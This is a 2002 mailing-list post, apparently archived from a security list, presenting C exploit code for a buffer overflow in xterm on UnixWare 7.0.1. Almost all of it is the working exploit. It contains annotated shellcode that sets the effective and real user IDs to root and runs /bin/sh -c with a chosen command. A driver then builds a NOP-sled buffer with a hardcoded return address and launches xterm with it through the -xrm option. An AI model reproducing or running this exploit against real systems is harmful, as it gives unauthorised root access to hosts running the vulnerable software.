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xterm exploit in Unixware 7.0.1


From: jG gM <jggm () mail com>
Date: 8 Jan 2002 06:08:40 -0000



Hi.
I'm jGgM.
Here is xterm exploit code in Unixware 7.0.1

http://www.netemperor.com/
Mail: jggm () mail com
--------------------------------------------------------/*
 * xterm buffer overflow by jGgM
 * http://www.netemperor.com/en/
 * EMail: jggm () mail com
 * 
*/
#include <stdio.h>
#include <stdlib.h>

char shell[] =
  /*   0 */ "\xeb\x5f"                         /* jmp 
springboard       */
  /* syscall:                                                           */
  /*   2 */ "\x9a\xff\xff\xff\xff\x07\xff"     /* lcall 
0x7,0x0         */
  /*   9 */ "\xc3"                             /* ret                   */
  /* start:                                                             */
  /*  10 */ "\x5e"                             /* popl %esi             
*/
  /*  11 */ "\x31\xc0"                         /* xor %eax,%
eax         */
  /*  13 */ "\x89\x46\x9d"                     /* movl %eax,-
0x63(%esi) */
  /*  16 */ "\x88\x46\xa2"                     /* movb %al,-
0x5e(%esi)  */
  /* seteuid:                                                           */
  /*  19 */ "\x31\xc0"                         /* xor %eax,%
eax         */
  /*  21 */ "\x50"                             /* pushl %eax            
*/
  /*  22 */ "\xb0\x8d"                         /* movb $0x8d,%
al        */
  /*  24 */ "\xe8\xe5\xff\xff\xff"             /* call 
syscall          */
  /*  29 */ "\x83\xc4\x04"                     /* addl $0x4,%
esp        */
  /* setuid:                                                            */
  /*  32 */ "\x31\xc0"                         /* xor %eax,%
eax         */
  /*  34 */ "\x50"                             /* pushl %eax            
*/
  /*  35 */ "\xb0\x17"                         /* movb $0x17,%
al        */
  /*  37 */ "\xe8\xd8\xff\xff\xff"             /* call 
syscall          */
  /*  42 */ "\x83\xc4\x04"                     /* addl $0x4,%
esp        */
  /* execve:                                                            */
  /*  45 */ "\x31\xc0"                         /* xor %eax,%
eax         */
  /*  47 */ "\x50"                             /* pushl %eax            
*/
  /*  48 */ "\x56"                             /* pushl %esi            
*/
  /*  49 */ "\x8b\x1e"                         /* movl (%esi),%
ebx      */
  /*  51 */ "\xf7\xdb"                         /* negl %
ebx             */
  /*  53 */ "\x89\xf7"                         /* movl %esi,%
edi        */
  /*  55 */ "\x83\xc7\x10"                     /* addl $0x10,%
edi       */
  /*  58 */ "\x57"                             /* pushl %edi            
*/
  /*  59 */ "\x89\x3e"                         /* movl %edi,(%
esi)      */
  /*  61 */ "\x83\xc7\x08"                     /* addl $0x8,%
edi        */
  /*  64 */ "\x88\x47\xff"                     /* movb %al,-0x1
(%edi)   */
  /*  67 */ "\x89\x7e\x04"                     /* movl %edi,0x4
(%esi)   */
  /*  70 */ "\x83\xc7\x03"                     /* addl $0x3,%
edi        */
  /*  73 */ "\x88\x47\xff"                     /* movb %al,-0x1
(%edi)   */
  /*  76 */ "\x89\x7e\x08"                     /* movl %edi,0x8
(%esi)   */
  /*  79 */ "\x01\xdf"                         /* addl %ebx,%
edi        */
  /*  81 */ "\x88\x47\xff"                     /* movb %al,-0x1
(%edi)   */
  /*  84 */ "\x89\x46\x0c"                     /* movl %eax,0xc
(%esi)   */
  /*  87 */ "\xb0\x3b"                         /* movb $0x3b,%
al        */
  /*  89 */ "\xe8\xa4\xff\xff\xff"             /* call 
syscall          */
  /*  94 */ "\x83\xc4\x0c"                     /* addl $0xc,%
esp        */
  /* springboard:                                                       */
  /*  97 */ "\xe8\xa4\xff\xff\xff"             /* call start            
*/
  /* data:                                                              */
  /* 102 */ "\xff\xff\xff\xff"                 /* DATA                  
*/
  /* 106 */ "\xff\xff\xff\xff"                 /* DATA                  
*/
  /* 110 */ "\xff\xff\xff\xff"                 /* DATA                  
*/
  /* 114 */ "\xff\xff\xff\xff"                 /* DATA                  
*/
  /* 118 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* 
DATA                  */
  /* 126 */ "\x2d\x63\xff";                    /* 
DATA                  */

#define NOP     0x90
#define LEN             102

#define BUFFER_SIZE     1052
#define RET_LENGTH      12

int
main(int argc, char *argv[])
{
   char start_addr[4];
   char buffer[BUFFER_SIZE+(RET_LENGTH*4)+1];
   char *command;
   long offset, ret, start_address;
   int  len, x, y, shell_start;

   if(argc > 3 || argc < 2) {
      fprintf(stderr, "Usage: %s [command] [offset]\n", 
argv[0]);
      exit(1);
   } // end of if..

   command = argv[1];
   if(argc == 3) offset = atol(argv[2]);
   else offset = 0;

   len = strlen(command);
   len++;
   len = -len;
   shell[LEN+0] = (len >> 0) & 0xff;
   shell[LEN+1] = (len >> 8) & 0xff;
   shell[LEN+2] = (len >> 16) & 0xff;
   shell[LEN+3] = (len >> 24) & 0xff;

   start_address = (long)&start_addr;
   //ret = start_address - offset;
   //ret = start_address - 1080 - offset;
   ret = 0x8047910 - offset; // this is very very stupid

   for(x=0; x<BUFFER_SIZE; x++) buffer[x] = NOP;

   x = BUFFER_SIZE - strlen(command) - strlen
(shell);

   for(y=0; y<strlen(shell); y++)
      buffer[x++] = shell[y];

   for(y=0; y<strlen(command); y++)
      buffer[x++] = command[y];

   for(y=0; y<RET_LENGTH; y++, x += 4)
      *((int *)&buffer[x]) = ret;

   buffer[x] = 0x00;

   printf("start_address = 0x%x\n", start_address);
   printf("ret = 0x%x,\n", ret);
   printf("offset = %d\n", offset);
   printf("command = %s\n", command);
   printf("buffer size = %d\n", strlen(buffer));
   execl("/usr/X/bin/xterm", "xterm", "-xrm", buffer, 
NULL);
   printf("exec failed\n");
}




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